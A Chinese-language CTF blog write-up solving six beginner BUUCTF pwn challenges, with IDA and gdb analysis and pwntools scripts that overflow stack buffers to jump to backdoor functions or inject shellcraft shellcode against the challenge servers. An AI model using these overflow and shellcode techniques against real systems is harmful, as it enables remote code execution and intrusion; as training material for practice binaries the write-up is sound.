目录
test_your_nc
rip
warmup_csaw_2016
ciscn_2019_n_1
pwn1_sctf_2016
jarvisoj_level1
觉得这篇文章不错的话,欢迎收藏、点赞、评论,期待你的关注!
Reverse入门博客推荐:CTF比赛 Reverse 逆向方向:入门规划精讲-CSDN博客
PWN入门学习博客推荐:CTF比赛 二进制 PWN方入门:基础知识点精讲-CSDN博客
首先对题目所给附件test文件进行安全配置检测
打开IDA查看源码,发现system("/bin/sh")
可直接利用
使用nc工具nc [域名] [端口号]
。输入ls
命令查看当前目录文件内容,发现flag文件,使用 cat flag
命令查看,得到flag。
对pwn1进行安全配置检测
发现文件没有用户执行权限,使用chmod命令提升权限
在IDA中查看代码
发现gets函数可利用
发现后门函数可利用
使用gdb工具调试程序
使用pwndbg插件增添断点,使用r运行,n跳过,直到程序完成输入。此处按照代码中定义的变量大小,输入“AAAAABBBBBCCCCC”15个字符
编写exp
查看栈内适当行数的数据,分析数据构造payload
构造payload:15个字符输入数据(15字节)+1个栈内return 0;
返回地址的数据(8字节)(被垃圾数 据覆盖后则改为访问之后地址)+(返回地址 地址数+1)(远程端使用了ubuntu18,ubuntu18以上版本调用64位程序中的system函数需要栈对齐,在执行system时有一个指令需要栈对齐 ,所以地址+1)
from pwn import *
#io = process("./pwn1") #本地程序连接测试
io = remote("node4.buuoj.cn",27645) #远程端口连接
buf_addr = 0x401186 #返回到源码中后门函数的地址
payload = b'A'*23 + p64(buf_addr+1) #构造payload
io.sendline(payload) #发送payload
io.interactive() #打开交互页面
运行exploit,获取终端权限,ls
命令查看全部文件后发现flag文件,使用cat flag
命令得到flag值
对附件进行安全配置检测
尝试运行程序,发现权限不够,提升权限
打开 ida分析源代码
write 函数向标准输出打印字符串作为提示信息。
sprintf 函数将函数 sub_40060D 的地址格式化为字符串,并将结果存储在数组 s 中。
最后,调用不安全的 gets 函数,用户输入结果存储在数组 v5 中。
写exp
构造payload:main函数返回值处为gets函数,加上变量v5空间64字节及gets函数返回地址值长度8字节,重新指向地址的长度为8字节,重新指向后门函数sub_40060D的地址
from pwn import *
p=remote("node4.buuoj.cn",25286)
payload=b'A'*72+p64(0x40060D)
p.sendline(payload)
p.interactive()
运行exp,得 到flag
使用checksec工具查看文件安全配置
同时提升可执行权限
打开IDA,F5反汇编查看C语言源码
分析源码,写exp
定义变量时,计算机会为我们在内存中申请一块内存空间来存储我们的变量的值。而且这个空间是连续的,v1之后就是v2,他们的内存块是接在一起的。点击v1、v2则跳转到其对应内存标识var_30、var_4。
所以可以根据栈溢出,将数据写入,将v2数据覆盖为指定值11.28125
可以根据题目中的信息获取到表示11.28125的16进制数
点击跳转地址
构造payload:v1有44字节,紧跟着v2需要赋予数值,所以为44字节垃圾数据+11.28125的16进制数
from pwn import *
io = remote("node4.buuoj.cn",25872)
payload = b'A'*44 + p64(0x41348000)
io.send(payload)
io.interactive()
运行exp,得到flag
使用checksec工具查看文件安全配置
权限不够,提升权限
打开IDA,F5反汇编查看C语言源码
发现“I”与"you"之间的replace函数,测试结果为函数功能是将字符“I”转换为字符串“you”,由一个字符转换为3个字符。
发现后门函数可以利用
分析源码,写exp
构造payload:变量声明后顺序入栈,每个标识表示变量所占栈空间底部,s为输入的变量,则其需要覆盖的长度为0X3C~0X00(0X3C字节),0X00处表示返回地址值(4字节)需要覆盖;0X04处表示另一个函数的地址值(4字节)需要覆盖为后门函数的地址。
-0000003C s db ?
-0000001C var_1C db 4 dup(?)
-00000018 var_18 db ?
-00000011 var_11 db ?
-00000010 var_10 db ?
-00000009 var_9 db ?
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 ; end of stack variables
查找后门函数的地址
from pwn import *
io = remote("node4.buuoj.cn",25258)
payload = b'I'*20 + b'a'*4 + p32(0x8048F0D)
io.send(payload)
io.interactive()
运行exp,得到flag
BUUCTF中,此题靶机文件内容错乱,以下为 pwn2.jarvoisoj.com 9877 处靶机解题
每次运行后地址刷新
没找到后门函数,需要在exp中构造
from pwn import *
io = remote("pwn2.jarvisoj.com",9877)
shellcode = asm(shellcraft.sh()) #构造getshell汇编转二进制代码
#接收运行后输出的字符串,截取地址,将截取字符串转化为16进制数
#因为recvline()函数返回时包含换行符,所以末尾索引为-2
buf_addr = int(io.recvline()[len("What's this:"):-2],16)
#shellcode与垃圾字符构成140字节字符串
payload = shellcode.ljust(140,b'A') + p32(buf_addr)
io.sendline(payload)
io.interactive()